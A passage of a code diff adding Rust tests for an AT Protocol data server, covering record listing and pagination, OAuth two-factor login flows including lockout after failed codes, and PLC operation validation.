async fn test_list_records_includes_cid() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("list-includes-cid").await;
|
||||
|
||||
create_post_with_rkey(&client, &did, &jwt, "test", "Test post").await;
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
|
||||
for record in records {
|
||||
assert!(record["uri"].is_string(), "Record should have uri");
|
||||
assert!(record["cid"].is_string(), "Record should have cid");
|
||||
assert!(record["value"].is_object(), "Record should have value");
|
||||
let cid = record["cid"].as_str().unwrap();
|
||||
assert!(cid.starts_with("bafy"), "CID should be valid");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_cursor_with_reverse() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("list-cursor-reverse").await;
|
||||
|
||||
for i in 0..5 {
|
||||
create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
|
||||
}
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
("limit", "2"),
|
||||
("reverse", "true"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
let first_rkeys: Vec<&str> = records
|
||||
.iter()
|
||||
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
|
||||
.collect();
|
||||
|
||||
assert_eq!(first_rkeys, vec!["post00", "post01"], "First page with reverse should start from oldest");
|
||||
|
||||
if let Some(cursor) = body["cursor"].as_str() {
|
||||
let res2 = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
("limit", "2"),
|
||||
("reverse", "true"),
|
||||
("cursor", cursor),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records with cursor");
|
||||
|
||||
let body2: Value = res2.json().await.unwrap();
|
||||
let records2 = body2["records"].as_array().unwrap();
|
||||
let second_rkeys: Vec<&str> = records2
|
||||
.iter()
|
||||
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
|
||||
.collect();
|
||||
|
||||
assert_eq!(second_rkeys, vec!["post02", "post03"], "Second page should continue in ASC order");
|
||||
}
|
||||
}
|
||||
+633
@@ -323,6 +323,7 @@ async fn test_authorize_get_with_valid_request_uri() {
|
||||
|
||||
let auth_res = client
|
||||
.get(format!("{}/oauth/authorize", url))
|
||||
.header("Accept", "application/json")
|
||||
.query(&[("request_uri", request_uri)])
|
||||
.send()
|
||||
.await
|
||||
@@ -344,6 +345,7 @@ async fn test_authorize_rejects_invalid_request_uri() {
|
||||
|
||||
let res = client
|
||||
.get(format!("{}/oauth/authorize", url))
|
||||
.header("Accept", "application/json")
|
||||
.query(&[("request_uri", "urn:ietf:params:oauth:request_uri:nonexistent")])
|
||||
.send()
|
||||
.await
|
||||
@@ -941,6 +943,7 @@ async fn test_wrong_credentials_denied() {
|
||||
|
||||
let auth_res = http_client
|
||||
.post(format!("{}/oauth/authorize", url))
|
||||
.header("Accept", "application/json")
|
||||
.form(&[
|
||||
("request_uri", request_uri),
|
||||
("username", &handle),
|
||||
@@ -1162,6 +1165,7 @@ async fn test_deactivated_account_cannot_authorize() {
|
||||
|
||||
let auth_res = http_client
|
||||
.post(format!("{}/oauth/authorize", url))
|
||||
.header("Accept", "application/json")
|
||||
.form(&[
|
||||
("request_uri", request_uri),
|
||||
("username", &handle),
|
||||
@@ -1184,6 +1188,7 @@ async fn test_expired_authorization_request() {
|
||||
|
||||
let res = http_client
|
||||
.get(format!("{}/oauth/authorize", url))
|
||||
.header("Accept", "application/json")
|
||||
.query(&[("request_uri", "urn:ietf:params:oauth:request_uri:expired-or-nonexistent")])
|
||||
.send()
|
||||
.await
|
||||
@@ -1477,3 +1482,631 @@ async fn test_state_with_special_chars() {
|
||||
location
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_2fa_required_when_enabled() {
|
||||
let url = base_url().await;
|
||||
let http_client = client();
|
||||
|
||||
let ts = Utc::now().timestamp_millis();
|
||||
let handle = format!("2fa-required-{}", ts);
|
||||
let email = format!("2fa-required-{}@example.com", ts);
|
||||
let password = "2fa-test-password";
|
||||
|
||||
let create_res = http_client
|
||||
.post(format!("{}/xrpc/com.atproto.server.createAccount", url))
|
||||
.json(&json!({
|
||||
"handle": handle,
|
||||
"email": email,
|
||||
"password": password
|
||||
}))
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(create_res.status(), StatusCode::OK);
|
||||
let account: Value = create_res.json().await.unwrap();
|
||||
let user_did = account["did"].as_str().unwrap();
|
||||
|
||||
let db_url = common::get_db_connection_string().await;
|
||||
let pool = sqlx::postgres::PgPoolOptions::new()
|
||||
.max_connections(1)
|
||||
.connect(&db_url)
|
||||
.await
|
||||
.expect("Failed to connect to database");
|
||||
|
||||
sqlx::query("UPDATE users SET two_factor_enabled = true WHERE did = $1")
|
||||
.bind(user_did)
|
||||
.execute(&pool)
|
||||
.await
|
||||
.expect("Failed to enable 2FA");
|
||||
|
||||
let redirect_uri = "https://example.com/2fa-callback";
|
||||
let mock_client = setup_mock_client_metadata(redirect_uri).await;
|
||||
let client_id = mock_client.uri();
|
||||
|
||||
let (_, code_challenge) = generate_pkce();
|
||||
|
||||
let par_body: Value = http_client
|
||||
.post(format!("{}/oauth/par", url))
|
||||
.form(&[
|
||||
("response_type", "code"),
|
||||
("client_id", &client_id),
|
||||
("redirect_uri", redirect_uri),
|
||||
("code_challenge", &code_challenge),
|
||||
("code_challenge_method", "S256"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap()
|
||||
.json()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let request_uri = par_body["request_uri"].as_str().unwrap();
|
||||
|
||||
let auth_client = no_redirect_client();
|
||||
let auth_res = auth_client
|
||||
.post(format!("{}/oauth/authorize", url))
|
||||
.form(&[
|
||||
("request_uri", request_uri),
|
||||
("username", &handle),
|
||||
("password", password),
|
||||
("remember_device", "false"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert!(
|
||||
auth_res.status().is_redirection(),
|
||||
"Should redirect to 2FA page, got status: {}",
|
||||
auth_res.status()
|
||||
);
|
||||
|
||||
let location = auth_res.headers().get("location").unwrap().to_str().unwrap();
|
||||
assert!(
|
||||
location.contains("/oauth/authorize/2fa"),
|
||||
"Should redirect to 2FA page, got: {}",
|
||||
location
|
||||
);
|
||||
assert!(
|
||||
location.contains("request_uri="),
|
||||
"2FA redirect should include request_uri"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_2fa_invalid_code_rejected() {
|
||||
let url = base_url().await;
|
||||
let http_client = client();
|
||||
|
||||
let ts = Utc::now().timestamp_millis();
|
||||
let handle = format!("2fa-invalid-{}", ts);
|
||||
let email = format!("2fa-invalid-{}@example.com", ts);
|
||||
let password = "2fa-test-password";
|
||||
|
||||
let create_res = http_client
|
||||
.post(format!("{}/xrpc/com.atproto.server.createAccount", url))
|
||||
.json(&json!({
|
||||
"handle": handle,
|
||||
"email": email,
|
||||
"password": password
|
||||
}))
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(create_res.status(), StatusCode::OK);
|
||||
let account: Value = create_res.json().await.unwrap();
|
||||
let user_did = account["did"].as_str().unwrap();
|
||||
|
||||
let db_url = common::get_db_connection_string().await;
|
||||
let pool = sqlx::postgres::PgPoolOptions::new()
|
||||
.max_connections(1)
|
||||
.connect(&db_url)
|
||||
.await
|
||||
.expect("Failed to connect to database");
|
||||
|
||||
sqlx::query("UPDATE users SET two_factor_enabled = true WHERE did = $1")
|
||||
.bind(user_did)
|
||||
.execute(&pool)
|
||||
.await
|
||||
.expect("Failed to enable 2FA");
|
||||
|
||||
let redirect_uri = "https://example.com/2fa-invalid-callback";
|
||||
let mock_client = setup_mock_client_metadata(redirect_uri).await;
|
||||
let client_id = mock_client.uri();
|
||||
|
||||
let (_, code_challenge) = generate_pkce();
|
||||
|
||||
let par_body: Value = http_client
|
||||
.post(format!("{}/oauth/par", url))
|
||||
.form(&[
|
||||
("response_type", "code"),
|
||||
("client_id", &client_id),
|
||||
("redirect_uri", redirect_uri),
|
||||
("code_challenge", &code_challenge),
|
||||
("code_challenge_method", "S256"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap()
|
||||
.json()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let request_uri = par_body["request_uri"].as_str().unwrap();
|
||||
|
||||
let auth_client = no_redirect_client();
|
||||
let auth_res = auth_client
|
||||
.post(format!("{}/oauth/authorize", url))
|
||||
.form(&[
|
||||
("request_uri", request_uri),
|
||||
("username", &handle),
|
||||
("password", password),
|
||||
("remember_device", "false"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert!(auth_res.status().is_redirection());
|
||||
let location = auth_res.headers().get("location").unwrap().to_str().unwrap();
|
||||
assert!(location.contains("/oauth/authorize/2fa"));
|
||||
|
||||
let twofa_res = http_client
|
||||
.post(format!("{}/oauth/authorize/2fa", url))
|
||||
.form(&[
|
||||
("request_uri", request_uri),
|
||||
("code", "000000"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert_eq!(twofa_res.status(), StatusCode::OK);
|
||||
let body = twofa_res.text().await.unwrap();
|
||||
assert!(
|
||||
body.contains("Invalid verification code") || body.contains("invalid"),
|
||||
"Should show error for invalid code"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_2fa_valid_code_completes_auth() {
|
||||
let url = base_url().await;
|
||||
let http_client = client();
|
||||
|
||||
let ts = Utc::now().timestamp_millis();
|
||||
let handle = format!("2fa-valid-{}", ts);
|
||||
let email = format!("2fa-valid-{}@example.com", ts);
|
||||
let password = "2fa-test-password";
|
||||
|
||||
let create_res = http_client
|
||||
.post(format!("{}/xrpc/com.atproto.server.createAccount", url))
|
||||
.json(&json!({
|
||||
"handle": handle,
|
||||
"email": email,
|
||||
"password": password
|
||||
}))
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(create_res.status(), StatusCode::OK);
|
||||
let account: Value = create_res.json().await.unwrap();
|
||||
let user_did = account["did"].as_str().unwrap();
|
||||
|
||||
let db_url = common::get_db_connection_string().await;
|
||||
let pool = sqlx::postgres::PgPoolOptions::new()
|
||||
.max_connections(1)
|
||||
.connect(&db_url)
|
||||
.await
|
||||
.expect("Failed to connect to database");
|
||||
|
||||
sqlx::query("UPDATE users SET two_factor_enabled = true WHERE did = $1")
|
||||
.bind(user_did)
|
||||
.execute(&pool)
|
||||
.await
|
||||
.expect("Failed to enable 2FA");
|
||||
|
||||
let redirect_uri = "https://example.com/2fa-valid-callback";
|
||||
let mock_client = setup_mock_client_metadata(redirect_uri).await;
|
||||
let client_id = mock_client.uri();
|
||||
|
||||
let (code_verifier, code_challenge) = generate_pkce();
|
||||
|
||||
let par_body: Value = http_client
|
||||
.post(format!("{}/oauth/par", url))
|
||||
.form(&[
|
||||
("response_type", "code"),
|
||||
("client_id", &client_id),
|
||||
("redirect_uri", redirect_uri),
|
||||
("code_challenge", &code_challenge),
|
||||
("code_challenge_method", "S256"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap()
|
||||
.json()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let request_uri = par_body["request_uri"].as_str().unwrap();
|
||||
|
||||
let auth_client = no_redirect_client();
|
||||
let auth_res = auth_client
|
||||
.post(format!("{}/oauth/authorize", url))
|
||||
.form(&[
|
||||
("request_uri", request_uri),
|
||||
("username", &handle),
|
||||
("password", password),
|
||||
("remember_device", "false"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert!(auth_res.status().is_redirection());
|
||||
|
||||
let twofa_code: String = sqlx::query_scalar(
|
||||
"SELECT code FROM oauth_2fa_challenge WHERE request_uri = $1"
|
||||
)
|
||||
.bind(request_uri)
|
||||
.fetch_one(&pool)
|
||||
.await
|
||||
.expect("Failed to get 2FA code from database");
|
||||
|
||||
let twofa_res = auth_client
|
||||
.post(format!("{}/oauth/authorize/2fa", url))
|
||||
.form(&[
|
||||
("request_uri", request_uri),
|
||||
("code", &twofa_code),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert!(
|
||||
twofa_res.status().is_redirection(),
|
||||
"Valid 2FA code should redirect to success, got status: {}",
|
||||
twofa_res.status()
|
||||
);
|
||||
|
||||
let location = twofa_res.headers().get("location").unwrap().to_str().unwrap();
|
||||
assert!(
|
||||
location.starts_with(redirect_uri),
|
||||
"Should redirect to client callback, got: {}",
|
||||
location
|
||||
);
|
||||
assert!(
|
||||
location.contains("code="),
|
||||
"Redirect should include authorization code"
|
||||
);
|
||||
|
||||
let auth_code = location.split("code=").nth(1).unwrap().split('&').next().unwrap();
|
||||
|
||||
let token_res = http_client
|
||||
.post(format!("{}/oauth/token", url))
|
||||
.form(&[
|
||||
("grant_type", "authorization_code"),
|
||||
("code", auth_code),
|
||||
("redirect_uri", redirect_uri),
|
||||
("code_verifier", &code_verifier),
|
||||
("client_id", &client_id),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert_eq!(token_res.status(), StatusCode::OK, "Token exchange should succeed");
|
||||
let token_body: Value = token_res.json().await.unwrap();
|
||||
assert!(token_body["access_token"].is_string());
|
||||
assert_eq!(token_body["sub"], user_did);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_2fa_lockout_after_max_attempts() {
|
||||
let url = base_url().await;
|
||||
let http_client = client();
|
||||
|
||||
let ts = Utc::now().timestamp_millis();
|
||||
let handle = format!("2fa-lockout-{}", ts);
|
||||
let email = format!("2fa-lockout-{}@example.com", ts);
|
||||
let password = "2fa-test-password";
|
||||
|
||||
let create_res = http_client
|
||||
.post(format!("{}/xrpc/com.atproto.server.createAccount", url))
|
||||
.json(&json!({
|
||||
"handle": handle,
|
||||
"email": email,
|
||||
"password": password
|
||||
}))
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(create_res.status(), StatusCode::OK);
|
||||
let account: Value = create_res.json().await.unwrap();
|
||||
let user_did = account["did"].as_str().unwrap();
|
||||
|
||||
let db_url = common::get_db_connection_string().await;
|
||||
let pool = sqlx::postgres::PgPoolOptions::new()
|
||||
.max_connections(1)
|
||||
.connect(&db_url)
|
||||
.await
|
||||
.expect("Failed to connect to database");
|
||||
|
||||
sqlx::query("UPDATE users SET two_factor_enabled = true WHERE did = $1")
|
||||
.bind(user_did)
|
||||
.execute(&pool)
|
||||
.await
|
||||
.expect("Failed to enable 2FA");
|
||||
|
||||
let redirect_uri = "https://example.com/2fa-lockout-callback";
|
||||
let mock_client = setup_mock_client_metadata(redirect_uri).await;
|
||||
let client_id = mock_client.uri();
|
||||
|
||||
let (_, code_challenge) = generate_pkce();
|
||||
|
||||
let par_body: Value = http_client
|
||||
.post(format!("{}/oauth/par", url))
|
||||
.form(&[
|
||||
("response_type", "code"),
|
||||
("client_id", &client_id),
|
||||
("redirect_uri", redirect_uri),
|
||||
("code_challenge", &code_challenge),
|
||||
("code_challenge_method", "S256"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap()
|
||||
.json()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let request_uri = par_body["request_uri"].as_str().unwrap();
|
||||
|
||||
let auth_client = no_redirect_client();
|
||||
let auth_res = auth_client
|
||||
.post(format!("{}/oauth/authorize", url))
|
||||
.form(&[
|
||||
("request_uri", request_uri),
|
||||
("username", &handle),
|
||||
("password", password),
|
||||
("remember_device", "false"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert!(auth_res.status().is_redirection());
|
||||
|
||||
for i in 0..5 {
|
||||
let res = http_client
|
||||
.post(format!("{}/oauth/authorize/2fa", url))
|
||||
.form(&[
|
||||
("request_uri", request_uri),
|
||||
("code", "999999"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
if i < 4 {
|
||||
assert_eq!(res.status(), StatusCode::OK, "Attempt {} should show error page", i + 1);
|
||||
let body = res.text().await.unwrap();
|
||||
assert!(
|
||||
body.contains("Invalid verification code"),
|
||||
"Should show invalid code error on attempt {}", i + 1
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let lockout_res = http_client
|
||||
.post(format!("{}/oauth/authorize/2fa", url))
|
||||
.form(&[
|
||||
("request_uri", request_uri),
|
||||
("code", "999999"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert_eq!(lockout_res.status(), StatusCode::OK);
|
||||
let body = lockout_res.text().await.unwrap();
|
||||
assert!(
|
||||
body.contains("Too many failed attempts") || body.contains("No 2FA challenge found"),
|
||||
"Should be locked out after max attempts. Body: {}",
|
||||
&body[..body.len().min(500)]
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_account_selector_with_2fa_requires_verification() {
|
||||
let url = base_url().await;
|
||||
let http_client = client();
|
||||
|
||||
let ts = Utc::now().timestamp_millis();
|
||||
let handle = format!("selector-2fa-{}", ts);
|
||||
let email = format!("selector-2fa-{}@example.com", ts);
|
||||
let password = "selector-2fa-password";
|
||||
|
||||
let create_res = http_client
|
||||
.post(format!("{}/xrpc/com.atproto.server.createAccount", url))
|
||||
.json(&json!({
|
||||
"handle": handle,
|
||||
"email": email,
|
||||
"password": password
|
||||
}))
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(create_res.status(), StatusCode::OK);
|
||||
let account: Value = create_res.json().await.unwrap();
|
||||
let user_did = account["did"].as_str().unwrap().to_string();
|
||||
|
||||
let redirect_uri = "https://example.com/selector-2fa-callback";
|
||||
let mock_client = setup_mock_client_metadata(redirect_uri).await;
|
||||
let client_id = mock_client.uri();
|
||||
|
||||
let (code_verifier, code_challenge) = generate_pkce();
|
||||
|
||||
let par_body: Value = http_client
|
||||
.post(format!("{}/oauth/par", url))
|
||||
.form(&[
|
||||
("response_type", "code"),
|
||||
("client_id", &client_id),
|
||||
("redirect_uri", redirect_uri),
|
||||
("code_challenge", &code_challenge),
|
||||
("code_challenge_method", "S256"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap()
|
||||
.json()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let request_uri = par_body["request_uri"].as_str().unwrap();
|
||||
|
||||
let auth_client = no_redirect_client();
|
||||
let auth_res = auth_client
|
||||
.post(format!("{}/oauth/authorize", url))
|
||||
.form(&[
|
||||
("request_uri", request_uri),
|
||||
("username", &handle),
|
||||
("password", password),
|
||||
("remember_device", "true"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert!(auth_res.status().is_redirection());
|
||||
|
||||
let device_cookie = auth_res.headers()
|
||||
.get("set-cookie")
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.map(|s| s.split(';').next().unwrap_or("").to_string())
|
||||
.expect("Should have received device cookie");
|
||||
|
||||
let location = auth_res.headers().get("location").unwrap().to_str().unwrap();
|
||||
assert!(location.contains("code="), "First auth should succeed");
|
||||
|
||||
let code = location.split("code=").nth(1).unwrap().split('&').next().unwrap();
|
||||
let _token_body: Value = http_client
|
||||
.post(format!("{}/oauth/token", url))
|
||||
.form(&[
|
||||
("grant_type", "authorization_code"),
|
||||
("code", code),
|
||||
("redirect_uri", redirect_uri),
|
||||
("code_verifier", &code_verifier),
|
||||
("client_id", &client_id),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap()
|
||||
.json()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let db_url = common::get_db_connection_string().await;
|
||||
let pool = sqlx::postgres::PgPoolOptions::new()
|
||||
.max_connections(1)
|
||||
.connect(&db_url)
|
||||
.await
|
||||
.expect("Failed to connect to database");
|
||||
|
||||
sqlx::query("UPDATE users SET two_factor_enabled = true WHERE did = $1")
|
||||
.bind(&user_did)
|
||||
.execute(&pool)
|
||||
.await
|
||||
.expect("Failed to enable 2FA");
|
||||
|
||||
let (code_verifier2, code_challenge2) = generate_pkce();
|
||||
|
||||
let par_body2: Value = http_client
|
||||
.post(format!("{}/oauth/par", url))
|
||||
.form(&[
|
||||
("response_type", "code"),
|
||||
("client_id", &client_id),
|
||||
("redirect_uri", redirect_uri),
|
||||
("code_challenge", &code_challenge2),
|
||||
("code_challenge_method", "S256"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap()
|
||||
.json()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let request_uri2 = par_body2["request_uri"].as_str().unwrap();
|
||||
|
||||
let select_res = auth_client
|
||||
.post(format!("{}/oauth/authorize/select", url))
|
||||
.header("cookie", &device_cookie)
|
||||
.form(&[
|
||||
("request_uri", request_uri2),
|
||||
("did", &user_did),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert!(
|
||||
select_res.status().is_redirection(),
|
||||
"Account selector should redirect, got status: {}",
|
||||
select_res.status()
|
||||
);
|
||||
|
||||
let select_location = select_res.headers().get("location").unwrap().to_str().unwrap();
|
||||
assert!(
|
||||
select_location.contains("/oauth/authorize/2fa"),
|
||||
"Account selector with 2FA enabled should redirect to 2FA page, got: {}",
|
||||
select_location
|
||||
);
|
||||
|
||||
let twofa_code: String = sqlx::query_scalar(
|
||||
"SELECT code FROM oauth_2fa_challenge WHERE request_uri = $1"
|
||||
)
|
||||
.bind(request_uri2)
|
||||
.fetch_one(&pool)
|
||||
.await
|
||||
.expect("Failed to get 2FA code");
|
||||
|
||||
let twofa_res = auth_client
|
||||
.post(format!("{}/oauth/authorize/2fa", url))
|
||||
.header("cookie", &device_cookie)
|
||||
.form(&[
|
||||
("request_uri", request_uri2),
|
||||
("code", &twofa_code),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert!(twofa_res.status().is_redirection());
|
||||
let final_location = twofa_res.headers().get("location").unwrap().to_str().unwrap();
|
||||
assert!(
|
||||
final_location.starts_with(redirect_uri) && final_location.contains("code="),
|
||||
"After 2FA, should redirect to client with code, got: {}",
|
||||
final_location
|
||||
);
|
||||
|
||||
let final_code = final_location.split("code=").nth(1).unwrap().split('&').next().unwrap();
|
||||
let token_res = http_client
|
||||
.post(format!("{}/oauth/token", url))
|
||||
.form(&[
|
||||
("grant_type", "authorization_code"),
|
||||
("code", final_code),
|
||||
("redirect_uri", redirect_uri),
|
||||
("code_verifier", &code_verifier2),
|
||||
("client_id", &client_id),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert_eq!(token_res.status(), StatusCode::OK);
|
||||
let final_token: Value = token_res.json().await.unwrap();
|
||||
assert_eq!(final_token["sub"], user_did, "Token should be for the correct user");
|
||||
}
|
||||
|
||||
@@ -735,6 +735,7 @@ async fn test_security_deactivated_account_blocked() {
|
||||
|
||||
let auth_res = http_client
|
||||
.post(format!("{}/oauth/authorize", url))
|
||||
.header("Accept", "application/json")
|
||||
.form(&[
|
||||
("request_uri", request_uri),
|
||||
("username", &handle),
|
||||
|
||||
@@ -255,6 +255,7 @@ async fn test_full_plc_operation_flow() {
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
#[ignore = "requires exclusive env var access; run with: cargo test test_sign_plc_operation_consumes_token -- --ignored --test-threads=1"]
|
||||
async fn test_sign_plc_operation_consumes_token() {
|
||||
let client = client();
|
||||
let (token, did) = create_account_and_login(&client).await;
|
||||
@@ -902,6 +903,7 @@ async fn test_migration_rejects_wrong_did_document() {
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
#[ignore = "requires exclusive env var access; run with: cargo test test_full_migration_flow_end_to_end -- --ignored --test-threads=1"]
|
||||
async fn test_full_migration_flow_end_to_end() {
|
||||
let client = client();
|
||||
let (token, did) = create_account_and_login(&client).await;
|
||||
|
||||
@@ -0,0 +1,513 @@
|
||||
use bspds::plc::{
|
||||
PlcError, PlcOperation, PlcService, PlcValidationContext,
|
||||
cid_for_cbor, sign_operation, signing_key_to_did_key,
|
||||
validate_plc_operation, validate_plc_operation_for_submission,
|
||||
verify_operation_signature,
|
||||
};
|
||||
use k256::ecdsa::SigningKey;
|
||||
use serde_json::json;
|
||||
use std::collections::HashMap;
|
||||
|
||||
fn create_valid_operation() -> serde_json::Value {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
let did_key = signing_key_to_did_key(&key);
|
||||
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [did_key.clone()],
|
||||
"verificationMethods": {
|
||||
"atproto": did_key.clone()
|
||||
},
|
||||
"alsoKnownAs": ["at://test.handle"],
|
||||
"services": {
|
||||
"atproto_pds": {
|
||||
"type": "AtprotoPersonalDataServer",
|
||||
"endpoint": "https://pds.example.com"
|
||||
}
|
||||
},
|
||||
"prev": null
|
||||
});
|
||||
|
||||
sign_operation(&op, &key).unwrap()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_plc_operation_valid() {
|
||||
let op = create_valid_operation();
|
||||
let result = validate_plc_operation(&op);
|
||||
assert!(result.is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_plc_operation_missing_type() {
|
||||
let op = json!({
|
||||
"rotationKeys": [],
|
||||
"verificationMethods": {},
|
||||
"alsoKnownAs": [],
|
||||
"services": {},
|
||||
"sig": "test"
|
||||
});
|
||||
let result = validate_plc_operation(&op);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("Missing type")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_plc_operation_invalid_type() {
|
||||
let op = json!({
|
||||
"type": "invalid_type",
|
||||
"sig": "test"
|
||||
});
|
||||
let result = validate_plc_operation(&op);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("Invalid type")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_plc_operation_missing_sig() {
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [],
|
||||
"verificationMethods": {},
|
||||
"alsoKnownAs": [],
|
||||
"services": {}
|
||||
});
|
||||
let result = validate_plc_operation(&op);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("Missing sig")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_plc_operation_missing_rotation_keys() {
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"verificationMethods": {},
|
||||
"alsoKnownAs": [],
|
||||
"services": {},
|
||||
"sig": "test"
|
||||
});
|
||||
let result = validate_plc_operation(&op);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("rotationKeys")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_plc_operation_missing_verification_methods() {
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [],
|
||||
"alsoKnownAs": [],
|
||||
"services": {},
|
||||
"sig": "test"
|
||||
});
|
||||
let result = validate_plc_operation(&op);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("verificationMethods")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_plc_operation_missing_also_known_as() {
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [],
|
||||
"verificationMethods": {},
|
||||
"services": {},
|
||||
"sig": "test"
|
||||
});
|
||||
let result = validate_plc_operation(&op);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("alsoKnownAs")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_plc_operation_missing_services() {
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [],
|
||||
"verificationMethods": {},
|
||||
"alsoKnownAs": [],
|
||||
"sig": "test"
|
||||
});
|
||||
let result = validate_plc_operation(&op);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("services")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_rotation_key_required() {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
let did_key = signing_key_to_did_key(&key);
|
||||
let server_key = "did:key:zServer123";
|
||||
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [did_key.clone()],
|
||||
"verificationMethods": {"atproto": did_key.clone()},
|
||||
"alsoKnownAs": ["at://test.handle"],
|
||||
"services": {
|
||||
"atproto_pds": {
|
||||
